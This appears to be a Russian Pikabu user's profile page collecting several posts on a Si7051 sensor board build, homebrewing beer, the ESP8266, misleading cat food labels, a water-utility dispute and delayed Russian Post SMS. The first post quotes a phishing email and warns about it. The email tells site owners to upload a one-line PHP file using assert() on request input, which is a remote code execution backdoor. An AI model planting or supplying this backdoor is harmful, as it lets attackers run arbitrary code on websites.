nstorm

nstorm

пикабушник
пол: мужской
поставил 2716 плюсов и 2827 минусов
отредактировал 13 постов
проголосовал за 21 редактирование
46К рейтинг 82 подписчика 8137 комментариев 44 поста 20 в "горячем"
2 награды
5 лет на Пикабу лучший длиннопост недели
107

"Взлом" сайтов для бедных. :)

Сегодня получили такое письмо на технический домен:


Уважаемый администратор домена!


В соответствии с изменениями, внесенными в регламент ICANN, Вы должны подтвердить, что фактическое управление доменным именем [НАШ ДОМЕН].ru осуществляется лицом, указанным в качестве его администратора.


Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменным именем, создайте в корневой директории сайта файл [набор цифр-символов].php со следующим содержимым:


<?php

assert(stripslashes($_REQUEST[RUCENTER]));

?>


Файл должен быть создан в течение трех календарных дней с момента получения данного сообщения и находиться на сервере до 13 июня 2017 года, 21:00 (UTC+03:00), в противном случае процедура подтверждения будет считаться непройденной.


Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, обслуживание домена будет приостановлено.

"Взлом" сайтов для бедных. :) Сайт, Вебмастер, Взлом, Script kiddie, Мошенники, Интернет-Мошенники

Письмо направлено якобы от RU-CENTER (регисратор доменов), хотя по факту пришло с хостинга компании InfoBox. Конечно же письмо - мошенническое. Abuse в Infobox отправлен, хотя толку от этого не много.

Опять школота какая-то шалит. Т.е. они предлагают вручную админу сайта разместить код, с функцией assert - если кто не в курсе, эта функция выполняет код из параметра. А параметр злоумышленник может передать любой в GET/POST запросу ($_REQUEST[RUCENTER] - именно параметр от клиента).

Будьте внимательны. Никогда, никакой регистратор доменов не потребует от вас размещения файла на сайте, т.к. домен вообще в принципе может существовать без сайта.

Я догадываюсь, что многие понимают, что так нельзя делать и всё такое - ну просто поржите над этим, ребят. Мало ли, вдруг кому другому поможет.

Показать полностью
2

Почта России даже СМС доставила спустя 8 месяцев....

Сегодня с утра прямо приходит СМС от Почты России, что якобы я получил какое-то отправление. Долго думал что за отправление такое из Германии, судя по треку, я такого не ждал. Полез уже трек "пробивать" на сайт и тут заметил дату. Да... действительно в сентябре прошлого года получал я посылочку из Германии. Забыл просто я уже про неё, как-никак 8 месяцев прошло. А вот почта помнит... и сегодня наконец-таки доставила мне СМС о получении.

Почта России даже СМС доставила спустя 8 месяцев.... Почта России, СМС, Отслеживание посылок, Слоупок
6

Корм для кошек "без косервантов". Лживый маркетинг.

Купил корм для кошки. Дома уже читаю на лицевой стороне упаковки крупными буквами - БЕЗ и перечисление чего там там нет. В т.ч. консервантов написано нет:

Корм для кошек "без косервантов". Лживый маркетинг. Кошачий корм, Purina, Маркетологи, Обман, Консерванты, Длиннопост
Корм для кошек "без косервантов". Лживый маркетинг. Кошачий корм, Purina, Маркетологи, Обман, Консерванты, Длиннопост

Ok. Переворачиваем пачку боком и читаем с торца, мелким шрифтом под изгибом запаянного шва пачки состав:

Корм для кошек "без косервантов". Лживый маркетинг. Кошачий корм, Purina, Маркетологи, Обман, Консерванты, Длиннопост

Ну я в общем-то ничего против консервантов обычно не имею, лишь бы они разрешены были для применения в кормах. Но терпеть не могу, когда так нагло врут. Purina, ну нахрена? Это уже нарушение закона о рекламе и просто обман потребителей.


PS: Т.к. уже посыпались комментарии на тему, что написано без "искусственных консервантов", чтобы не писать каждому, смотрите внимательнее в составе на сноску *, что она означает и её отсутствие рядом с пунктом "консерванты". Значит консерванты именно искусственные, а не натуральные. Более того, с точки зрения русского языка, можно трактовать, что БЕЗ "искусственных" на лицевой стороне упаковки относится только к ароматизаторам.

Показать полностью 3
86

Точный датчик температуры Si7051, делаем "с нуля".

Всем привет!

Хочу поделиться длинной историей разработки и заказа платы под данный датчик. Полный цикл DIY-проекта, на простеньком примере.

Для своей домашней пивоварни у меня собрана простенькая «метеостанция» с выкладкой данных онлайн на различные сервисы. В качестве датчиков использовались популярные DS18B20. Но вот случайно наткнулся на датчики от Silicon Labs, серии Si705X, и захотелось мне попробовать задействовать их. А конкретно Si7051 — цифровой (I2C) датчик к точностью ±0.1°C и временем конвертации данных с максимальным разрешением 14 бит всего 7 мс (сравните с 750 мс у DS18B20). Не то, чтобы мне нужна была такая точность и скорость на пивоварне, просто захотелось «пообщаться» с новым датчиком. :)

Датчик был настолько новый, что готовых сборок его обнаружено не было. Дело в том, что в отличии от DS18B20, этот датчик идет в корпусе только для поверхностного монтажа — DFN 3x3 мм. Так даже интереснее было — я получил практику сразу многих вещей, включая пайку такой мелкой детали (обычным паяльником). Сейчас кстати появилась в продаже готовая плата от ClosedCube за $8.95. Когда я начинал, их еще не было. Поэтому делал я все с нуля.

Для начала читаем даташит от Si705X. Смотрим типовую схему включения, всё довольно-таки просто, обвязка минимальна:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Помимо самого датчика надо всего пару резисторов и конденсатор:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Такие же номиналы и типоразмеры 0603 и будем использовать. «Нарисовать» всё это дело я решил на EasyEDA. Бесплатно и ничего кроме браузера не требует. Буквально за 15-20 минут набросал схему, аналогичную тому, что в даташите, только добавил коннектор, стандартный штырьковый. Ах да, еще самой микросхемы датчика в базе данных EasyEDA конечно же не было, надо было создать свой компонент. На DIYModules я нашел символы для Si70xx (там не было именно 7051, но были аналоги с точно такой же распиновкой) и Footprint (размещение контактных площадок на плате) для этого DFN-6 3x3 под Eagle. Удачно импортнул их в EasyEDA и теперь они все там есть. Вот такая схемка получилась:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
Дальше разводим плату. Надо заметить, что опыта рисования плат и схем у меня особо нет. Поэтому даже на таком просто примере я больше учусь, если кто заметит ошибки — с радостью приму любую критику, только конструктивно пожалуйста, делалось для себя «на коленке» без опыта какого-либо, работа у меня с этим не связана. Сначала нарисовал плату, где все компоненты с одной стороны были (хотя плата двухслойная была всё-равно). Потом переделал вот так, вынес пассивные компоненты на другую сторону, чтобы с «лицевой» стороны был только датчик, мне его надо «приклеить» к поверхности измеряемой. Получилось вот так:
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Можно было бы еще компактнее или сенсор на угол сместить.

Плата маленькая 13x12 мм. Поэтому заказать изготовить её у OSHPark получилось ооочень дешево. Смешные $1.15 за 3 платы с доставкой, сделанные в США. Да, у них просто по размеру печатают и в небольшом количестве (от 3 штук) мелкие платы у них выгодно заказывать. Я просто экспортировал Gerber из EasyEDA и загрузил его в OSHPark. Всё принялось на ура и без косяков сразу. Разве что на реальных платах шелк обводки вокруг датчика почему-то не был сделан. Хотя на превью был. Но это фигня. Вот так выглядело превью у них:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

На перевернутую подпись C1 не обращайте внимания. Не помню почему так вышло ) Да и пофиг, делалось на скорую руку.

Платы обычной почтой, без трека. А по приходу ко мне получал я их как мелкий пакет с треком RBxxxxxxxxxRU — т. е. наши трек наклеили внутренний, но узнать его до получения пакета я никак не мог. Но получил их в итоге к счастью, извещение принесли. Вот так выглядели платы:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Пока платы готовились и отправлялись, я заказывал компоненты. Сначала поискал по нашим сервисам, типа ChipFind. Что-то на тот момент когда искал, датчики возило всего пару компаний и дорого. Сейчас уже возят нормально, можно найти. Я сначала заказал в Mouser (их российской версии сайта), у которых было заявлено, что в цену «включена» доставка уже. После прислали счет от российской компании, где сверху была стоимость доставки до моего города еще. Не дорого, но как-то это не хорошо говорить одно, а делать по другому. Поэтому я на них забил и заказал в американском DigiKey. С доставкой через посредника Shipito (давно пользуюсь для всякого-разного, адрес виртуальный в США есть). Датчики у них всего по $1.97 были. Еще взял сразу резисторы Panasonic и конденсаторы Murata, с такими же параметрами, как в даташите от Silicon Labs, по 10 шт (от 10 там цена копеечная получается). Добро это дома было, но нонэйм китайский с Али, решил взять «брендовые». Ну и в довесок себе еще мелочевки всякой набрал там. Датчики стоили $5.97, но со всем остальным вышло вот так:

Your total cost is $15.61 in U.S. currency, including $4.11 postage.

На следующий день мне пришло от них письмо с вопросом об адресе получателя. Я при покупке честно выбрал что платежный адрес — мой адрес в России, адрес доставки — адрес Shipito в США. Спрашивали что за компания находится по адресу получатели и является ли это компанией-пересыльщиком. Думал приехали, не станут на форвардера отправлять. Тем более при покупке было уведомление, что один или несколько позиций в заказе подлежат экспортному контролю (заказывал там демо-плату с МК еще, она «мэйд ин ЮСА»). Ответил честно, да, адрес — компания Shipito и указал их «реквизиты» с сайта. Те ответили «ок» и выслали посылку. :) Через пару дней получил на адрес в Шипито и переслал себе через Shipito Economy Airmail. Еще около $10 вышла доставка в РФ. С таможней/доставкой проблем никаких не было.

Все компоненты в посылке разложены по отдельным пакетикам, некоторые даже в двойных и т. д. Ну осталось дело за малым. Спаять это всё. Компоненты мекие. Вот для сравнения как выглядит один датчик:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
Контакты у него не «выпирают» за корпус, но сбоку «заподлицо» слегка заходят, поэтому припаять я смог обычным паяльником недорогим. Центральный пад под чипом — термопад, он всё-равно должен в воздухе болтаться. Кривовато получилось, но всё работает. Вот еще для сравнения размеров фото:
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
А вот как это дело выглядит в сборе (флюс еще не отмыт на фото, поэтому «жирная» плата):
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

На последней фотке под увеличительным стеклом изображение. Слегка кривовато припаял конечно. Да и фиг с ним, главное, что работает. Это был вообще мой второй в жизни опыт пайки чего-то меньше стандартных штырей коннекторов (header pins). Потренироваться паять SMD, 0603 в т.ч., я взял на Ali вот такую платку за доллар. Не так уж сложно на самом деле, даже с недорогим паяльником с того же Али, только припой и флюс нормальный надо — китайский припой только Mechanic более-менее, остальные даже не берите, ими хрен что спаяешь в принципе. Плату с датчиком я паял Felder'ом, флюс с Китая псевдо-Kingbo RMA-218 (вполне норм). Отмывал бензином «Калоша», потом водой с мылом.

Пока все заказы пришли ко мне домой уже появилась готовая сборка от ClosedCube, о который я писал выше и их простенькая библиотека для Arduino. Я взял Arduino Mini Pro и подрубил к нему. Простенький скетч из примера библиотеки и результат с датчика выдается без проблем:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Самое главное! На плате преобразователь уровней напряжения я не разводил! Датчику нужно питание 3.3В. Не подавайте на него питание от Arduino с 5В. У меня Mini Pro питается от 3.3В источника, работает на 16MHz нормально вполне с таким питанием, поэтому уровни согласовывать мне надо, везде 3.3В.


PS: На Ali можно найти недорогие готовые платки с датчиком Si7021. У него точность температуры ±0.4°C, зато он еще и влажность измеряет в пределах ±3% RH. Распиновка у него 1 в 1.

Показать полностью 10
7

Произвол водоканала? Прошу помощи.

#юридическая консультация (уважаемые подписчики, если у вас этого тэга нет в игноре, пожалуйста извините за этот пост у вас в подписках, мне нужна помощь Лиги Юристов, пост публикуется в их сообществе).


Уважаемая Лига юристов!


Прошу помощи разобраться с РСО в лице "водоканала". Теще, проживающей в деревне, воду подают техническую по договору с МУП "Водоканал". Довольно-давно МУП был ликвидирован, а обязательства на себя приняло ООО "Водоканал". К сожалению не нашел в какой форме и на каких основаниях. Теща человек юридически безграмотный, просто платила по новым квитанциям и всё.

Счётчика у неё не было. В 2013 год пришли к ней из водоканала и сказали - надо ставить. Навешали лапши про то, что его ставить обязательно. Ну она и оплатила им за установку (квитанция об оплате есть) и сам счетчик купила. Однако ставить никто так и не пришел. А она забила. Платила как и раньше, по нормативу 2,1м3 на человека.

Теперь водоканал прислал уведомление, в котором "угрожает", что если она не поставит счетчик в ближайшие 60 суток, то они будут рассчитывать объем потребления по "методу учета пропускной способности устройств и сооружений, используемых для присоединения к централизованным системам водоснабжения, при их круглосуточном действии полным сечением в точке подключения к централизованной системе водоснабжения и при скорости движения воды 1,2 метра в секунду" согласно п. 16. Постановления Правительства РФ от 4 сентября 2013 г. N 776 "Об утверждении Правил организации коммерческого учета воды, сточных вод".

Где действительно есть пункт в), который регламентирует эти требования на установку счетчика за 60 дней с момента уведомления. И где конский метод расчета, когда вода течет 24 часа в сутки. НО! Если глянуть общие положения этого N 776, черным по белому ведь написано:

Настоящие Правила распространяются на отношения, возникающие при предоставлении коммунальных услуг, в той части, в которой такие отношения не урегулированы жилищным законодательством Российской Федерации, в том числе Правилами предоставления коммунальных услуг собственникам и пользователям помещений в многоквартирных домах и жилых домов, утвержденными постановлением Правительства Российской Федерации от 6 мая 2011 г. N 354 "О предоставлении коммунальных услуг собственникам и пользователям помещений в многоквартирных домах и жилых домов".

И вот есть подтверждение от Прокураторы, правда Республики Калмыкия, которая к моему региону не имеет отношения, но где тоже самое написано: Действие этих Правил не распространяется на отношения по учету воды, подаваемой в многоквартирные дома и жилые дома, а также сточных вод, принимаемых из таких домов.

Т.е. вроде как бы водоканал (как обычно) пытается применить закон, который на частных лиц (точнее на подключение жилых построек) не распространяется с одной стороны.

Но почему тогда я смог найти такое вот решение суда, которое присудило водоканалу с частного лица, подключившего воду в жилом помещение почти пол миллиона? Неужели судья не разобрался в сути постановления и некорректно применил его нормы?


PS: Проблема усугубляется отсутствием договора с действующей РСО, которая ООО. С МУП договор на руках есть, но там даже дата заключения не прописана.


Прошу помощи сообщества и советов! Заранее спасибо. Комментарии для минусов оставлю внутри, благодарю, если кто поможет поднять повыше.

Показать полностью
209

Отвечу на вопросы про домашнее пиво.

Дорогие алкобушники!


Не совсем обычный пост, хочу попробовать что-то вроде вопрос-ответ. Приличное время с успехом варю дома своё пиво в качестве "хобби". Изучил не мало литературы и тонкости процесса, довольно-таки неплохо разбираюсь в теме.

Есть несколько специализированных форумов, но может кому удобнее спросить тут или лень регистрироваться на форумах и т.д. Есть и инструкции в сети и т.д. Но многие из них далеки от "правильности". Поэтому с радостью подскажу по отдельным моментам.

Сразу попробую ответить в посте на некоторые вопросы, которые я думаю могут быть заданы.  Я не буду вдаваться в детали, тема очень обширна, а детали о процессе можно загуглить. В конце будет ссылка на мануалы. А у кого есть вопросы, я готов ответить на них в комментариях.

Нравится мне и варю в основном то, что нынче именуется "крафтовым пивом". Хотя термин стал таким привлекательным для "маркетологов", что порой Ашот из разливайке свои помои называет "крафтовым". Ну да ладно. Предпочитаю IPA и стауты. Но варю всё, но только эли. Лагеры чуть сложнее и мне не интересны, поэтому не заморачиваюсь.

Отвечу на вопросы про домашнее пиво. Пиво, Алкоголь, Домашний алкоголь, Пивоварение, Напитки, Крафт, Крафтовое пиво, Длиннопост

Как сварить дома пиво? Есть 2 основных "направление" - экстракты и зерно. Из зерна делается сусло. Можно сделать его самому, для этого понадобится оборудования побольше и процесс сложнее. У экстрактов сусло сделано на заводе, вода из него выпарена (для уменьшения объема) - по сути надо просто добавить воды и сбродить. Не "йюпи", химии там нет, всё нормально, просто это дороже. Сам чуть-чуть начинал с экстрактов, вполне нормальное пиво получается.

Какое оборудование нужно ? Для экстрактов - ёмкость для брожения на нужный объем (обычно 20-30л за раз пива делается по началу в домашних условиях), ёмкость +30% объем. Очень часто в ходу пластиковые полипропиленовые белые ведра для пищевых продуктов на 32-35л. Кто-то 19л кулерные бутылки использует. В идеале - нержавейка. Остальные вещи вспомогательные - термометр, ареометр и т.д.

Для зернового понадобятся варочный котел и заторная ёмкость. Часто эти ёмкости совмещают в одной. Варочник обычно большая кастрюля из нержи, накрайняк эмалированная. Для больших объемов что только не приспосабливают. Греть-варить - от на плите до ТЭНов. Затирание - процесс когда зерно с водой выдерживается при определенных температурах. Потом жидкость (сусло) надо отфильтровать от дробины зерна - нужна фильтр система. Самый просто заторник - термоконтейнер пластиковый, с вверченным краном и фильтр система из медных трубок или нержавеющей газовой гофро-подводки. Ну и т.д. Тоже вариантов масса. По стоимости где-то от 6-8 .т.р. для начала, если максимально всё дальше делать своими руками.

Есть еще готовые полуавтоматические комплексы. Браумастер и его клоны. Стоит куда дороже. Тут уже от 25-30 т.р. минимум.

Отвечу на вопросы про домашнее пиво. Пиво, Алкоголь, Домашний алкоголь, Пивоварение, Напитки, Крафт, Крафтовое пиво, Длиннопост

Сколько времени занимает? Зерновая варка 6-8 часов обычно в среднем. Далее ставим бродить на 2-3 недели и в основном ждем. Потом еще розлив по бутылкам, мойка и т.д. Но вполне можно только с 1 выходным в неделю потихоньку успевать.

Какова выходит стоимость пива? От 35 рублей за литр простенького, не считая затраты энергии и т.д.

Сложно научиться? Относительно да. Слишком много моментов, слишком легко накосячить. Но было бы желание! Весь теоретический и практический материал в сети есть.

Что надо кроме этого? Места ведро бродилки много дома не закрывает. Запаха от него будет по минимуму, если крышку закрывать герметично и ставить гидрозатвор. Самое главное - температура. Для брожения пива обычно нужно 16-20*С. Что летом для многих в квартире недостижимо. Есть решения от простых до сложных. Относительно просто собрать короб с термоизоляцией под размер бродилки, ставить её туда вместе с 1-2 бутылками с замороженной водой. Раз в сутки менять бутылки придется летом. Есть где пишут, что пиво в комнатной 25*С и выше делается - они врут. За редкими исключением бельгийских вариантов пива, это вранье. Получится бражный напиток плохого качества при такой Т.

Вот сижу, написал много букв уже, думаю всё ведь это не раз написано уже было. Поэтому на этом заканчиваю, кому интересно что-то спросить - отвечу в комментариях.

Показать полностью 2
202

ESP8266 - недорогая альтернатива Arduino с Wi-Fi

Всем привет!

Может кому будет интересно из новичков и кто еще не слышал. Китайская компания Expressif еще в 2014 году выпустила модули на своем чипе ESP8266. Платы (модули) на базе этого чипа стоят недорого - от $1.7 на AliExpress и eBay.

ESP8266 - недорогая альтернатива Arduino с Wi-Fi Esp8266, Wi-Fi, Китай, Arduino

Изначально их часто использовали как "шилд" Wi-Fi для ардуино. Оно и понятно - куда дешевле оригинального шилда, библиотека есть, работа через Serial шину и AT+ команды. Однако сам по себе чип вполне себе можно использовать и без классического Arudino:

- 160 MHz 32-bit процессор Tensilica Xtensa LX106.

- IEEE 802.11 b/g/n Wi-Fi. Поддерживается WEP и WPA/WPA2. Режим точки-доступа или клиента.

- 16 портов ввода-вывода, SPI, I²C, I²S, UART, 10-bit АЦП.

Память данных (ПЗУ) - внешняя. На готовых модулях идет от 512 Кб до 4 Мб.

Описание различных модулей тут.

ESP8266 - недорогая альтернатива Arduino с Wi-Fi Esp8266, Wi-Fi, Китай, Arduino

Конечно же такие хар-ки чипа, по сравнению с Atmega'ми на Arduino предоставляют куда больше возможностей. Тут и веб-сервер маленький можно сделать и RTOS поставить. А интегрированный WiFi позволяет избавиться от проводов. Но что самое приятное для нашего сообщества - для всего этого есть порт Arduino IDE.

Т.е. эту штуку можно программировать в привычном IDE, используя большинство тех же библиотек, что есть для Arduino. Т.е. при желании перейти очень просто.

Инструкция по подключению ESP8266 к Arduino IDE тут.

Может кто не знал и зреет идея домашнего проекта IoT, которому зачастую желателен WiFi - чтобы не крутить громоздкие и дорогие шилды к ардуино.

Показать полностью 1

Эти открытки сделали пикабушники. Сможете лучше?

Наш дикий конкурс открыток продолжается! Поздравили друзей, босса и любимую учительницу, а потом не помедлили и прислали свое творение нам? Все правильно сделали. Потому что до конца конкурса, в котором мы разыгрываем оригинальные подарочные наборы, осталось меньше 10 дней.


А чтобы поймать музу, вот порция открыток от пользователей Пикабу, которые они сделали в нашем конструкторе. Главное, не стесняйтесь!

Эти открытки сделали пикабушники. Сможете лучше?

Как поучаствовать в конкурсе:

1. Заходите на страницу конструктора.

2. Выбирайте тему: День интернета, День работников леса или 3 сентября (никогда не поздно).

3. Делайте открытку и не забудьте ее сохранить.

4. Отправляйте свою работу в приложении Сбербанк Онлайн (никаких платежей, все бесплатно).

Отличная работа, все прочитано!